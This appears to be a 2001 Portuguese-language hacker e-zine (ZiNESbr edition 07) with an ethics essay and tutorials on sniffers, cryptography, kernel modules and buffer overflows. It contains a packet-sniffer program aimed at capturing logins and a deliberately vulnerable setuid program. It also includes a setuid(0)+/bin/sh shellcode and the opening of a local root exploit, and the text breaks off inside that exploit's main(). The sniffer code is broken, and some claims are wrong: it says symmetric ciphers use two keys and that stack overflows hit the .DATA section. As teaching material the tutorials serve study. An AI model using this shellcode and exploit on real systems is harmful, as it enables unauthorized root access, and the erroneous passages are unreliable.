o..................................................................o
.ZZZZZZZZZZ  ..  NNNn    nNN EEEEEEE   sSSSSSS  bb        rrrrrrrr .
.ZzZ   ZZ    ""  NN NN    NN EEeeeee  sSSS  sSs bb         rr   rr .
.Zz   ZZ     ii  NN  NN   NN EE       sSS       bbB        rrrrrrr .
.    ZZ      ii  NN   NN  NN EEeE       sSS     bbbbbbbbb  rrrr    .
.   ZZ   zZ  ii  NN    NN NN EE           sSS   bb   Bbbb  rr rr   .
.  ZZ   ZzZ  ii  NN     NNNN EEeeeee SSs  sSSS  bbB   bbb  rr  rr  .
.ZZZZZZZZZz iiii NNn     nNN EEEEEEE  sSSSSSs   bbbbbbbbb rrr   rr .
o..................................................................o


.:x| Revista Virtual ZiNESbr   |x:.
.:x| Edicao 07                 |x:.
.:x| Data: 19/05/2001          |x:.
.:x| #ZiNESbr - Rede BrasNET   |x:.
.:x| http://zinesbr.hpg.com.br |x:.
.:x| zinesbr@ieg.com.br        |x:.

x Melhor visualizado no WordPad do Windows ou no VI do Linux  x
x Todo conteudo deste ZiNE sao para fins educativos           x
x Nao nos responsabilizamos por usos indevidos                x
                                 _________   ___
                                |         | |   |
                                | ZiNESbr |.|hpG|
                                | @#!?.* | |===|
                                |_________| |___|
                                     ||
                                .----------.  _/
                                |__________| (_)
                          ..........................
_____________________________________________________________________
'''''''''''''''''''''''''''''''''ZinesBr'''''''''''''''''''''''''''''
      [SETORES]#                                [AUTORES]$

<<[00][ Introducao                             ][   Gotoxy    ][00]>>
<<[01][ Newbies fucadores                      ][   Gotoxy    ][01]>>
<<[02][ Sniffers - Como funcionam?             ][   Gotoxy    ][02]>>
<<[03][ Criptografias                          ][   Gotoxy    ][03]>> 
<<[04][ LKM - Conceitos basicos                ][   Gotoxy    ][04]>>
<<[05][ Overflows - A tecnica                  ][   Gotoxy    ][05]>>
<<[06][ Leis Brasileiras                       ][   Evilman   ][06]>>
<<[07][ Cursinho de Linux - Parte 7            ][   Gotoxy    ][07]>>
<<[08][ Curso de Perl - Parte I                ][    sort     ][08]>>
<<[09][ Sistema numerico                       ][  O_Mascote  ][09]>>  
<<[10][ Assembly - Parte I                     ][   Gotoxy    ][10]>>  
<<[11][ Debug - O basico                       ][   Gotoxy    ][11]>>    
<<[12][ Configurando o Apache Parte I          ][  esquelet   ][12]>>
<<[13][ Basico de C - II                       ][   Gotoxy    ][13]>>
<<[14][ Manifesto: Movimentacao                ][    sort     ][14]>>
<<[15][ Curso de Perl - Parte II               ][    sort     ][15]>>
<<[16][ O basico de Ipchains                   ][   dialup    ][16]>>
<<[17][ Python Parte I                         ][   Evilman   ][17]>>
<<[18][ Secao E-Mail                           ][   ZiNESbr   ][18]>>
<<[19][ Mais Links                             ][   Kbytes    ][19]>>
<<[20][ Last words - Eof                       ][   Gotoxy    ][20]>>
_____________________________________________________________________
'''''''''''''''''''''''''''''''''ZinesBr'''''''''''''''''''''''''''''



SETOR [00]
==[ Introducao ]==
==[ por Gotoxy ]==

    Demorou, mas chegou!  
    ####################

Eae meus amigos!!:) Deixa eu contar uma historinha:
   Dia 25 de Abril, comecei a escrever o 'Last words'...Dia 26, 
liguei o computador... o boot se iniciou...o LILO aparece..entrei no 
windows para jogar xadrez...mas, o windows nao se abria!! resetei e 
nada! e apavorei.. entre no slack e "mount /dev/hda1 /mnt/win" e 
depois olhei se todos os meus dados(textos,programas,..) estavam la
no win e pimba!! estavam!! fiz o backup de tudo e depois foi olhar pq
o maldito do windows nao se abria.. tentei entrar no modo de seguranca
e nada!! argh..q raiva!! =) aih entao eu me lembrei: dia 26 de abril,
o dia do chernobyl!! puts..fiquei ainda mais apavorado..corri no setup
da BIOS e mudei e data.. ainda bem q a flash bios tava desativada!! aih
entao.. depois de mudar a data, finalmente o windows entrou!! ufa...que
alivio!! por isso eh bom usar anti-virus!! mas eu nao gosto e portanto
nao uso =). Soh to falando isso pq o zinesbr correu risco de acabar..
pois essa edicao tava quase pronta e se tivesse perdido ela, nao teria
coragem de escreve-la novamente.. =) 

##---------------------------------------------------------------------##


       O zine esta voltado para newbies fucadores eticos! Nao vamos
mais publicar textos cujo conteudo estejam ensinando coisas inuteis..
"inuteis" se refere aos textos que visam ensinar coisas desnessarias
para nos, newbies. O zinesbr nao ir publicar mais exploits, nem nada 
do genero!! Se quer enviar um texto para aumentar a informacao de todos, 
envie um texto etico, tecnico!!

(...)

Como essa merda de Greetz d sempre merda, eu nao coloco !! Na ultima
edicao, no ultimo setor, foi o kbytes que colocou os greetz e nao eu!! 
muitos encheram meu saco: "pow..nem lembrou de mim hein!! deixa oce!!".. :) 
Mas saibam que eu amo muito todos voces!! smaks!! smaks!! smaks! :*

##---------------------------------------------------------------------##


Acho que nao tenho q falar mais nada, agora eh com voce!
 Boa leitura =)  

                                                   Gotoxy
                                                   gotoxy@linuxbr.com.br
.:x| -------------------------------------------------------------------|x:.











SETOR [01]
==[ Newbies fucadores ]==
==[ por Gotoxy        ]==

*nao tinha um title melhor para colocar..portanto, nao ligue muito pro
titulo, o texto abaixo fala sobre eticas,hacking,kiddies,.. ah..le aih!:)

Bem, nao pretendo mudar pensamentos de ninguem! Portanto, se voce NAO
concorda com esse texto, mande suas criticas(criticas construtivas)!!!

#########
# Etica #
#########

antes de seguirmos em frente, queria deixar algumas coisas bem claras! 
pretende seguir o hacking a frente? sim? entao leve-o a serio! como?
atraves do chamado ETICA. 


###########################
# o que eh script kiddie? #
###########################

    sao akeles que se divertem em ficar pegando exploits de terceiros e
ficam invadindo qualquer server que encontram pela frente! e no dia que
sao pegos, ficam na delegacia de crimes virtuais, chorando, pedindo perdao
e tals.. digo isso porque conheco uns que jah "rodaram" ...

o que eles querem??? fama.. apenas fama!! querem aparecer para os leigos!! e 
os leigos que nao entendem nada, acham que eles(os script kiddies) sao os
maximos.. os melhores! 

bah..

muitos desses(talvez todos) script kiddies estao sendo manipulados pelas
empresas de "seguranca" (entre aspas) e ateh agora nao perceberam..



######################
# o que eh hacking ? #
######################

   muitos nao entendem o q eh hacking.. portanto eu vou explica..quando estamos
comecando a mecher no computador, comecamos do zero! nao sabendo nada! leigao 
mesmo..pois ninguem nasce sabendo de nada(alguns nascem sabendo a
chorar,mijar e cagar, mais nada alem disso)!
    vai passando o tempo.. e vc vai mechendo e mechendo no seu pc, ateh q
chega um dia e "puft" (o q sera esse maldito puft? nao sei, tire suas
conlusoes..).. vc nao quer mais apenas mecher dakele jeito, quer ser
aprofundar! quer fazer programas, que fucar e aprender !! e chega certo
dia q vc se torna um fucador de computadores!!  vc descobri o
funcionamento do computador, aprende a programar em varias linguagens,
mais ainda nao esta satisfeito, e quer aprender cada vez mais e mais!! 
quer fucar, fucar e fucar!! ateh q um dia se torna um hacker em pc's!!:)

#####################
# por onde comecar? #
#####################

   o computador tem incontaveis recursos.. o fucador deseja aprender todos
(nao todos,pq ninguem consegue aprender tudo relacionado a informatica -
"ilusoes existem mas magicas nao existem!!:)" )

mas, por onde comecar ???
  essa eh a duvida de muitos!!

o que eu recomendo eh comecar do basico! o que seria esse basico?  
provavelmente usuarios leigos usam windows.. nao todos, mas a maioria
sim!! o que voce tem q fazer entao eh comecar no windows mesmo, conhecer a
fundo ele (o registro, as dlls, etc).. ter nocao de programacao(a logica,
as linguagens de programacao,...), comecar aprendendo um linguagem
simples,como por exemplo pascal...

muitas coisas aprendemos com zines, revistas de informatica q vc encontra
nas bancas, foruns, maillist, etc..temos que ler muito!!(mas nao exagere)

muitas coisas vc aprende com os amigos!

tem que ir fucando com calma, muita calma! eu levei dias(ou melhor,anos) 
para aprender o pouco q sei hoje.. acredite!

nao ache q vc vai aprender coisas entrando em canais #hacker's(como por exemplo
o canal #hacker da rede brasirc (la soh tem kiddie: doritos e compania).. muitos
canais kiddies existem por aih, na brasnet temos o #Cr1m3, entre outros.. se
voce quer aprender algo no irc, entre em canais que realmente ensinam, como: 
#c/c++,#zinesbr, #unsekurity,etc... mas eu te garanto q vc vai aprender muita 
mais fora do irc!! 



###########################
# o hacking eh vantajoso? #
###########################

se for com intuito financeiro, nao!!! ele eh vantajoso para quem gosta de
fucar em computadores!

mas, praque? o que eu ganho com isso?

    ganha experiencia! conhecimento! se vc eh um verdadeiro
fucador,saberah que o hacking eh vantajoso... esse conhecimento vc ganha
com o tempo..

vejamos:

o kra (o fucador)
aprende por exemplo a programar em C, aih ele descobre um falha no
protocol tcp,que atraves do erro podemos passar pacotes maliciosos sem
antes precisar de uma
"autorizacao" da makina alvo.. aih ele faz um programacao capaz de
automatizar oprocesso .. e PAH!! ele obteve sucesso e agora pode acessar
qualquer makina
remotamente... (com isso, a vontade de aprender do fucador aumenta muito!)


ele soh vai ganhar com isso!! ganhar oq? experiencia ueh!! e vai soh
querendo aprender cada vez mais tecnicas fucadores, mais falhas,
etc..! ele(o fucador) nao esta atras de fama(como eh o caso dos script
kiddises) e sim de conhecimento!!! ele(o fucador) que descobrir falhas 
em sistemas,
entre outras coisas... mas saiba q ele nunca esta atras de fama!!!



###########
# Zinesbr #
###########

Zinesbr nao eh um grupo, e sim uma familia de newbies fucadores espalhados
por todo o mundo! mas o que ele tem haver? bem, o zinesbr eh um meio de
comunicaao q usamos para passar informacoes para o proximo! 


por isso q o zinesbr tah aih! para tentar ajudar a todos a levarem o
hacking etico, ensinar tecnicas fucadoras, ...

queria deixar bem claro q eu nao quero fama atraves desse maldito zine..
quero apenas ensinar coisas uteis a um fucador, como programacao, etc..
essa porra de ficar usando exploits dos outros nao pode existir!! tem
q saber produzir seus proprios exploits (to falando dos exploits como
exemplo) e passa-los para as pessoas q vc sabe q nao vao utiliza-lo
para prejudicar alguem..e sim para estudos!!  


##############
# Terminando #
##############

Espero que voce esteje conscientizado... seja um fucador e nao um kiddie!!
e lembre-se:  o fucador nao busca fama e sim conhecimento!

" Se a Packetstorm acabasse, o que seria dos kiddies? "

Reflita a frase acima, e me diga: tenho razao ou nao?! Nao eh apenas a 
packetstorm culpada disso, mas sim todos os sites que publicam exploits!!
Sites desse tipo soh aumentam o numero de kiddies.. Se a packetstorm 
nao publica-se exploits e publica-se apenas textos tecnicas, ela seria
uma beleza!! =)

Portanto:
nunca prejudique ninguem!! Esse "ninguem se refere aos administradores, 
usuarios alheios, etc.. siga o hacking etico e viva em paz, caro fucador =)

                                                  Gotoxy
                                                  gotoxy@linuxbr.com.br
.:x|-------------------------------------------------------------------|x:.










SETOR [02]
==[ Sniffers - Como funcionam? ]==
==[ por Gotoxy                 ]==

Nao!! Nao vou explicar como utilizar sniffers de terceiros.Vou apenas
explicar o basico dos sniffers, como eles funcionam e tals.

Primeiro, vamos entender o funcionamento de uma rede: 

Para que um computador possa compartilhar dados com outros computadores,
eh necessario tres itens: um emissor, um receptor e um meio fisico de
comunicacao. 

O meio fisico eh o cabo de rede (que pode ser coaxial ou trancado). 
Existem outros tipos de meio fisico(como por exemplo a fibra optica), 
mas no nosso caso, o meio fisico utilizado eh o cabo de rede.Mas eh bom
ressaltar q independente do meio fisico utilizado,a troca de informacoes
ocorre da mesma maneira, pois todos os dados sao transmitidos atraves
dos protocolos.

Em uma rede TCP/IP,essas informacoes(dados), "navegam" pela rede 
atraves de blocos, conhecidos como datagramas(ou pacotes).Cada
pacote possui um header(cabecalho), que identifica o emissor.Apos
o header, vem um outro bloco maior de caracteres trazendo conteudo
do pacote. Eh nele que esta a parte mais importante para se usar um
sniffer. Incontaveis pacotes(datagramas) circulam por toda a rede
e todos os computadores conectados a rede tambem recebem, porem
de forma oculta.

As placas de rede estao a todo o tempo enviando/recebendo pacotes.
Elas analisam cada informacao e comparam o endereco de destino com
o seu proprio endereco fisico. Caso o endereco nao seja coincidente
com a da placa, o pacote eh descartado e a placa de rede continua
"ouvindo" o trafego, ateh que encontre um pacote que tenha sido
endereca a ela. Durante este momento que o sniffer entra em
acao,ou melhor, em funcionamento!

Afinal, como os sniffers funcionam?
###################################

Bem,quando voce ativa um sniffer,como por exemplo o sniffit ou tcpdump,
a placa de rede fica em promiscous mode - modo promiscuo.Neste momento,
ela(a placa) comeca a receber todas as informacoes que estao "navegando"
(trafegando) na rede, inclusice as nao destinadas a ela.

Entao o que fazem esses sniffers eh sniffar uma interface, tipo eth0, e
pegar dados importantes, como logins e passwds.

Baseando em alguns programas,fiz este simples sniffer abaixo, apenas 
para introducao e para nao deixar duvidas! Ele nao faz nada de
extraordinario, apenas captura todo o tipo de dado que estao chegando
remotamente, atraves do protocolo tcp:

/*
     Exemplo de um Sniffer
     Se voce reparar bem, ele nao tem nenhum misterio! Se voce conhece
     um pouco de sockets, entenderah perfeitamente o funcionamento do
     mesmo.
*/

/* headers necessario */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <netinet/ip.h>
#include <netdb.h>

/* Arquivo de LOG */
#define LOG  "/tmp/snifflog.txt"

main (int argc, char **argv)

/* Variaveis */

  struct sockaddr_in from;
  int fromlen, bytes_recebidos,meusocket;
  char *buffer[65535];
  FILE *snif;

/* estrutura do socket */
meusocket = socket(AF_INET, SOCK_RAW, IPPROTO_TCP); 

while(1){
memset(&buffer,'\0',sizeof(buffer));  
fromlen = sizeof from;
bytes_recebidos = recvfrom(meusocket,buffer,sizeof(buffer),0,(struct
sockaddr *)&from,&fromlen); /* recvfrom() - recebe dados do protocol tcp */
printf("%s", &buffer[13]); 
snif = fopen(LOG,"a+");
fprintf(snif,"%s",&buffer[13]); 
fclose(snif); 
}}
---------------------------------------------------------------------

Na verdade isso nao eh um sniffer, pode ateh ser, mais os sniffers mesmos, 
capturam apenas dados importantes, como por exemplo logins e passwords.
Se voce, caro admin, acha que esta segudo soh pq usa o SSH, esta muito 
enganado!! Jah existem tecnicas para pegar dados desencriptados que trafegam
pelo  ssh, uma dessas tecnicas eh conhecida como MITM (man-in-the-middle). 



* Referencias 

+ Pc Master - Edicao 40 - tcpdump
+ Fatal 3rror - Edicao 02 - sniff
+ Basic Packet-Sniffer Construction - vem anexado
  
                                                  Gotoxy
                                                  gotoxy@linuxbr.com.br
.:x|-------------------------------------------------------------------|x:.










SETOR [00]
==[ Criptografias  ]==
==[ por Gotoxy     ]== 

Criptografia RSA
################

Essa criptografia(RSA) eh uma das mais usadas no mundo atualmente, apesar
de existir outras mais seguras. Abaixo, vou falar de como ela funciona.
E para entende-la, eh necessario conhecimentos em matematica... 

RSA = Rivest, Shamir, Adleman

Estes foram os criadores dessa criptografia, que eram pesquisadores do MIT.
O RSA eh combinado com a funcao hashing SHA1 (secure hash algorithm) para 
cifrar mensagens. 

Antes de seguirmos em frente, vou falar um pouco sobre criptografia:

* Criptografia simetrica e assimetrica

Existem dois tipos de criptografia, que eh a criptografia simetrica e
a criptografia assimetrica. A simetrica, utiliza apenas uma chave para
encriptar e outra para desencriptar. A assimetrica utiliza duas chaves:
a publica e a privada.

A simetrica eh utilizada mais para o trafego de dados onde nao eh
necessario seguranca maxima.

A assimetrica eh bem mais confiavel, pois utilizando ela, sao criadas
duas chaves: uma publica e uma privada.Aih voce cria uma chave privada
e partir dela voce gera um codigo publico.

O RSA eh um sistema de criptogradia de chave publica tanto para cifrar
quanto para autentificacao de dados.

A principal vantagem da criptografia baseada em chave publica eh a sua
maior seguranca em relacao a criptografia baseada em chave secreta. NO
sistema baseado em chave publica, as chaves privadas nunca precisam ser
transmitidas ou recebidas a ninguem.Num sistema de chave secreta, sempre
existe uma chance de um "curioso" descobrir a chave secreta enquanto ela
esta sendo transmitida.Uma outra vantagem do sistema baseado em chave
publica eh que eles podem fornecer um metodo para assinaturas digitais.
Mas apesar de ter muitas vantages, o metodo de chave publica eh muito
mais lento na cifragem do que o metodo de chave secreta.

*Ps: RSA usa a chave de criptografia assimetrica

Criptografia Blowfish
#####################

Essa criptografia foi desenvolvida por Bruce Schneier. Consiste de um 
cifrador em blocos de 64 bits com chaves de tamanho variavel (ate 448 
bits). Ah! O Blowfish eh um algoritmo criptografico de chave simetrica.
Esta poderosa ferramente possui:

.  Cifragem em blocos de 64 bits; 
.  Chave de tamanho variavel: 32 a 448 bits; 
.  Mais rapido que o DES e o IDEA; 
.  Nao patenteado e eh totalmente gratis; 
.  Nao necessita de licenca; 
.  Codigo fonte disponivel para download. 

   
O Blowfish pode ser usado em substituio ao DES ou IDEA. Ele toma uma chave 
de tamanho variavel de 32 a 448 bits. Em outras palavras, isso quer dizer q
ele pode ser usado tanto em aplicacoes domesticas quanto em aplicacoes 
comerciais.

Onde pegar o Blowfish?

.  gwynne.cs.ualberta.ca
.  ftp.replay.com,
.  ftp.ox.ac.uk
.  scss3.cl.msu.edu
.  cryptography.org.


Criptografia DES
################

Acho que muitos jah ouviram falar no DES (data encryption standard).Ele eh
utilizado como padrao nos unixes(linux,etc..) para criptografar passwords,..
Ele (o DES) eh um algoritmo criptografico simetrico cifrador de blocos de 
64 bits de texto em claro, q utilizando uma chave secreta de 64 bits, dos 
quais apenas 56 bits sao efetivamente empregados, gera blocos de texto 
cifrado de 64 bits.

Eh muito dificil quebrar uma criptografia dessas, voce leva anos e anos
para quebrar uma, isto eh uma super maquina! Mas aih voce pergunta: "e
como eu faco para quebrar os passwords de um linux entao?" - Bem..nao 
eh nada complicado! Voce usa ferramentas como o John the Ripper para
isso (o que foi explicado na edicao passada do zinesbr). O que ele
faz eh pegar as palavras de uma wordlist, encripta-las com o mesmo
algoritmo (DES) e depois comparar as palavras da wordlist ( jah com 
as palavras criptografadas) com os passwords do sistema.

Aonde pegar a fonte do DES? Voce pode encontra-lo no link abaixo:

http://webserver.redes.unb.br/security/criptografia/des/Fontedes.c



Referencias 
~~~~~~~~~~~

.  Pc Master - Edicao 46
.  http://webserver.redes.unb.br/security/index.html

                                                  Gotoxy
                                                  gotoxy@linuxbr.com.br
.:x|-------------------------------------------------------------------|x:.










SETOR [04]
==[ LKM - Conceitos basicos ]==
==[ por Gotoxy              ]==

Este eh um pequeno (pequenissimo) texto sobre LKM.Se voce jah sabe o basico
de LKM, este nao ajudar em nada.Agora, se voce nunca ouviu falar de LKM,
entender o basico do basico.Saiba que programar em LKM eh de grande utilidade
para um fucador, pois voce pode fazer qualquer coisa, afinal, o kernel eh
todo seu!!

Nao vou falar nada de teorias sobre como funciona o kernel, nem para que 
serve, pois existe varios textos por aih(mais abaixo (em referencias) voce 
sabera onde encontra-los).

Resumidamente, LKMS sao modulos usados para vc adicionar novas funcoes ao
kernel sem que seja necessario recompila-lo.Praque aprender isso? Saiba
que aprender a programar em lkms eh muito util para um fucador, pois 
atraves de programas escritos em lkms, vc pode criar rootkits, virus,
pode tambem liberar acesso root para todos, enfim, pode se fazer qlq 
coisa (mas claro, com algumas excessoes).

Para voce carregar um modulo, basta digitar insmod modulo.o e para descarrega-lo
basta digitar rmmod modulo.Para listar os modulos do seu sistema (que estao
carregados), basta digitar lsmod. Para saber informacoes sobre um modulo, basta
usar o comando modinfo e por aih vai..  

Quando estamos programando com lkms, muitas vezes nos utilizamos as systemcalls
para nossos objetivos. Os systemcalls sao funcoes usadas pelo Linux.Por exemplo,
quando voce quer abrir um arquivo, voce utiliza a systemcall __NR_open, quando
voce quer imprimir um texto na tela, voce utiliza a systemcall __NR_write, etc.
Mais informacoes podem ser encontradas em /usr/include/asm/unistd.h. 

User Space se refere a programacao C padrao comum em sistemas Linux e Kernel
Space se refere a programacao no modo kernel. Lembre-se disso!! Voce terah
mais informacoes sobre isso em 'referencias'.

Vejamos um simples exemplo de LKM:

------------------------------ module.c
#define     MODULE
#define   __KERNEL__

#include <linux/module.h>

int init_module(void){
printk("<1>Carregando Modulo.. \n\n");
printk("<1>Exemplo Basico de um LKM \n");
printk("<1>Modulo Carregado \n");
return 0;
}
void cleanup_module(void)
{
printk("<1>Descarregando Modulo.. \n");
printk("<1>Modulo Descarregado \n\n");
}
------------------------------ module.c

Vou explicar linha por linha, portanto,preste bem a atencao, pois isso eh o 
basico do basico!! 

#define     MODULE
#define   __KERNEL__

#define, se voce sabe C, nao serah necessario explicar.. agora,esse MODULE e 
esse __KERNEL__ sao novos para voce(eu acho).. entao tah, bem,deixa eu 
explica! toda vez q vc for fazer um LKM, deve incluir sempre essas duas linhas,
pois elas sao as bibliotecas necessarias para voce programar em lkm.

init_module()    - funcao utilizada para carregar o lkm
cleanup_module() - funcao utilizada para descarregar o lkm

essas duas funcoes sao obrigatorias.. se nao usa-las, eh a mesma coisa que
fazer um programa em C e nao declarar a funcao main(). 

nao eh mais printf()! agora nos usamos a funcao printk()! akele <1> eh a 
urgencia em q a kernel mostra a mensagem...

Referencias
^^^^^^^^^^^

Se deseja aprende mais coisas sobre LKM, recomendo visitar os sites abaixo:

http://unsekurity.virtualave.net - Programacao Basica para fucadores - Parte I
                                 - l vc tb encontra um texto de LKM traduzido.
http://packetstorm.securify.com  -  Procure por: LKM Hacking.html
http://www.phrack.com  - Procure por phrack 52 item 18
http://w2x.virtualave.net - Uma lista completa de Systemcalls
http://esc2.hypermart.net/txt/estilo_kernel.txt - Texto sobre kernel,lkm...

                                                  Gotoxy
                                                  gotoxy@linuxbr.com.br
.:x|-------------------------------------------------------------------|x:.












SETOR [05]
==[ Overflows - A tecnica ]==
==[ por Gotoxy           ]==

----------
Introducao
----------

./gotoxy 
GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG
OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
TTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT
OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY
'Segmentation fault (core dumped)'

Bem, se voce ainda nao conhece essa tecnica, vai conhecer e aprender agora!
 necessario um conhecimento em C e Linux. Abaixo vou colocar alguns links
interessantes onde voce pode pegar mais informacoes sobre essa tecnica,que
por sua vez jah eh considerada velha! 

~#./programa `perl -e 'printf "A" x 6000'`

Acima voce ver um metodo de ver se tal programa se encontra vulneravel
a bufferoverflow.A linha acima faz com que o './programa' execute 
junto 6000 caracteres...seria o mesmo que fazer "./programa AAAAA...",
(o que demoraria muito!). Mas o melhor jeito de voce encontrar 
condicoes de bufferoverflow em um programa eh voce analisando o seu
codigo (como no linux a maioria dos programas sao open-source, ou seja,
tem o seu codigo fonte aberto) e buscando vulnerabilidades no mesmo.

---------------
Buffer overflow
---------------

Veja o programa abaixo:

---- vuln.c ----
/* Programa bugado */

#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
char palavra[100];
if(argc<2)
{
printf("\nUse: %s [palavra]\n\n",argv[0]);
exit(0);
}
strcpy(palavra,argv[1]);
printf("\n%s\n\n",palavra);
}

---- vuln.c ----

~# chmod +s vuln
~# gcc vuln.c -o vuln
~# ./vuln
Use: ./vuln [palavra]
~# ./vuln Gotoxy

Gotoxy

~# ./vuln `perl -e 'printf "A" x 110'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAA

Segmentation fault

~# 

Bem, aih ocorre a falha de segmentacao.. pq? pq o dado solicitado foi
maior que o dado que o programa podia suportar. Ocorre o segment fault
pq o RETURN ADDRESS eh sobrescrevido ao invez do ADDRESS original. E
aih nesse novo endereco de retorno nao existe nada e assim ocorre o
segmentation violation.

Um programa pode ser dividido em secoes. As secoes de um programa sao:
data(para seus dados), bss(para dados indefinidos) e text(p/ seu codigo). 

Ilustracao:

                                 ----------
                                 | .DATA  | 
                                 ----------
                                 | .BSS   |
                                 ---------
                                 | .TEXT  |
                                 ----------



Bem, o stack overflow (o metodo que eu estou tentando ensinar, que eh o
mais comum) ocorre na regiao .DATA. Um exploit interage aih (no caso
de um stack overflow), pois ele sobrescreve a secao data, mudando o
percurso normal do programa e o dirigindo para um outro lugar(shell!!).

O Stack
#######

O stack eh o local da memoria onde os dados ficam armazenados. Podemos
acessar ele (o stack) atraves de dois comandos em ASM (push e pop).
O push envia um dado para o stack, o pop retira. 
A primeira coisa a ser guardada no stack serah a ultima a ser lida e a
ultima guardada serah a primeira a ser lida. Na ciencia da computacao,
isso eh conhecido como LIFO (last in, first out - ultimo a entrar,primeiro
a sair).

Agora vamos olhar o programa bugado vuln.c com o gdb:

~# gdb vuln
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are welcome to change it and/or distribute copies of it under certain
conditions. Type "show copying" to see the conditions. 
There is absolutely no warranty for GDB.  Type "show warranty" for
details. This GDB was configured as "i386-slackware-linux"...
(gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Starting program: /home/dbz/bof/vuln
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
warning: Unable to find dynamic linker breakpoint function.
GDB will be unable to debug shared library initializers
and track explicitly loaded dynamic code.

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA


Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)

Esses A's eh apenas exemplo para gerar o buffer overflow!! Voce
pode usar B's por exemplo!! Coloquei os A's soh para deixar as
coisas mais claras =)

O caracter A em hexadecimal eh 0x41. Aquele "0x41414141" que aparece
se refe aos A's, que nos usamos como exemplo para gerar overflow.

Bem, sabemos entao que o programa acima esta vulneravel a bufferoverflow,
entao o que temos que fazer agora eh escrever o exploit.. A primeira
coisa a fazer entao eh pegar o stack point atual. Podemos fazer isso
atraves do gdb mesmo!! Existe uma tecnica melhor para se fazer isso,
mas ela sera explicada depois. O que nos interessa entao eh o esp(stack 
pointer), portanto, para voce obte-lo, basta digitar no gdb:

(gdb) info all-registers esp
esp            0xbffffa20       0xbffffa20

Esse "0xbffffa20" eh o esp, e atraves desse esp vamos construir nosso
exploit. Ah!! Isso varia de sistema para sistema, portanto, para voce
achar o esp do seu sistema, basta fazer isso q foi explicado!!ps: esp 
eh a abreviacao de Stack Pointer.

--------------------------
Algumas coisas importantes
--------------------------

#define NOP     0x90


isso acima parece familiar, nao?!:) bom, entao deixe eu explicar! 
A instrucao NOP eh uma operacao nula(instrucao vazia). Como estamos
mechendo em plataforma Linux i386, o hexadecimal que corresponde a
esta instrucao eh o 0x90. Quando executamos um exploit, necessitamos
fazer com que o endereco de retorno execute nosso shellcode, mas quando
ele aponta p/ um endereco com dados diferentes do que de fato queremos,
que eh o inicio do nosso shellcode, ocorre uma Segmentation Violation!
Ou simplesmente uma violacao de segmentacao, e quando isto ocorre, nos
nao alcancaremos facilmente nosso objeto.A nao ser que chutemos offsets
ateh conseguir achar nosso codigo.Mas isto eh muito trabalhoso, de modo
que eh mais eficiente enchermos o buffer com nosso shellcode no meio
e o resto de NOP's, isto farah com que, se o retorno apontar para uma
intrucao NOP no buffer, irah percorrer elas ateh chegar ao inicio de
nosso shellcode, e,consequentemente, executar nosso codigo(shellcode).

:..:tkz nash!:..:


Offsets


Uma coisa que eh muito falado, quando o assunto eh exploits!! Os offsets sao
numeros que sao somados ou subtraidos a um endereco inicial ateh que o Return
Addres (Endereco de retorno) seja alcancado. 


Shellcode


Shellcode eh muito usado em exploits. Ele eh um codigo em ASM(assembly) que
eh utilizado para chamar o /bin/bash, executar um comando qualquer, etc..
Se voce ainda nao sabe como fazer um, utilize geradores de shellcode para
voce ver como funciona e tb vc pode ler uns textos que o nash fez,sobre
escrita de shellcode.
Enfim, shellcode sao codigos de maquina para executar alguma coisa.


Suid


O programa bugado a bufferoverflow deve estar setado com o bit suid,
pois caso contrario voce nao terah boas permissoes no sistema exploitado.
Para setar este bit, usamos o comando 'chmod'. A sintaxe eh esta: chmod
+s programa

Exploit


Sem mais papo mole, vamos construir o exploit.Ele esta todo comentando,
para um melhor entendimento!

---------------------------- exploit.c ----------------------------

/*  Abaixo temos os headers necessarios para as funcoes(); */

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

/* Abaixo nos definimos a instrucao NOP */

#define NOP        0x90

/* Abaixo nos definimos o tamanho de bytes que sao necessario para
gerar o overflow. Sabemos q se colocarmos uns 110 bytes o overflow
jah ocorre... mas eh bom colocarmos um buffer maior, para inserir
nosso shellcode. Na faixa de 100 bytes ou mais !! */

#define TAMANHO    200

/* Abaixo temos o esp(Stack pointer) */

#define ESP 0xbffffa20

/* o shellcode!! ele eleva nosso uid p/ 0 (setuid(0)) */

char shellcode[] = "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" /* setuid(0) */
             "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
             "\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
             "\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main(int argc, char **argv){
char buffer[TAMANHO];
int i, offset = 0;
unsigned long addr;
long ret = ESP;

if(argc > 1) offset = atoi(argv[1]);

